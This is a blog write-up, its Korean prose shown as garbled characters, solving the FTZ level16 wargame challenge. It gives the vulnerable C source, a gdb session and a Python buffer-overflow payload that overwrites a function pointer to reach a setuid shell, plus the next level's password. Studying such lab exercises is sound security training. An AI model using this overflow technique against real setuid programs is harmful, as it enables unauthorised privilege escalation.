[FTZ] level16 ํ’€์ด

1 ๋ถ„ ์†Œ์š”

๐Ÿ’ก FTZ level16 ํ’€์ด

๋ฌธ์ œ

๊ณ„์ • : level16/about to cause mass

hint

#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

ํ’€์ด

call ๋ณ€์ˆ˜์— printit ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด์žˆ๋Š”๋ฐ, ์ด๋ฅผ ๋ฎ์–ด์จ์„œ shell()ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๋„๋ก ํ•˜๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ์„  gdb๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

[level16@ftz tmp]$ gdb -q attackme
(gdb) set disass intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500 //printit ํ•จ์ˆ˜๋ฅผ ์ €์žฅํ•˜๋Š” ๋ถ€๋ถ„
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56] //buf์˜ ์œ„์น˜
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret
End of assembler dump.

ebp-16์œ„์น˜์— call ๋ณ€์ˆ˜๊ฐ€ ๋“ค์–ด์žˆ๊ณ  0x8048500์ฃผ์†Œ๋ฅผ ๋„ฃ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ebp-56์— buf ๋ณ€์ˆ˜๊ฐ€ ์œ„์น˜ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•จ์ˆ˜๋“ค์˜ ์ฃผ์†Œ๋ถ€ํ„ฐ ํ™•์ธํ•ด ๋ด…๋‹ˆ๋‹ค.

(gdb) b main
Breakpoint 1 at 0x804851e
(gdb) run
Starting program: /home/level16/tmp/attackme

Breakpoint 1, 0x0804851e in main ()
(gdb) p printit
$1 = {<text variable, no debug info>} 0x8048500 <printit>
(gdb) p shell
$2 = {<text variable, no debug info>} 0x80484d0 <shell>

ํ™•์ธ ๊ฒฐ๊ณผ printit ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋Š” 0x8048500์ด ๋งž๊ณ , shell ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋Š” 0x80484d0์ž…๋‹ˆ๋‹ค.

์ด์ œ bof ์ทจ์•ฝ์ ์œผ๋กœ call ๋ณ€์ˆ˜๋ฅผ ๋ฎ์–ด์จ ์ค๋‹ˆ๋‹ค.

buf ๋ณ€์ˆ˜์™€ call ๋ณ€์ˆ˜์‚ฌ์ด์— 40๋ฐ”์ดํŠธ๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ, 40๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด๋’ค shell ๋ณ€์ˆ˜๋ฅผ ๋„ฃ์–ด์ค๋‹ˆ๋‹ค.

[level16@ftz level16]$ (python -c 'print("A"*40+"\xd0\x84\x04\x08")';cat) | ./attackme

id
uid=3097(level17) gid=3096(level16) groups=3096(level16)

my-pass
Level17 Password is "king poetic".

์‰˜์„ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค.

ํƒœ๊ทธ:

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ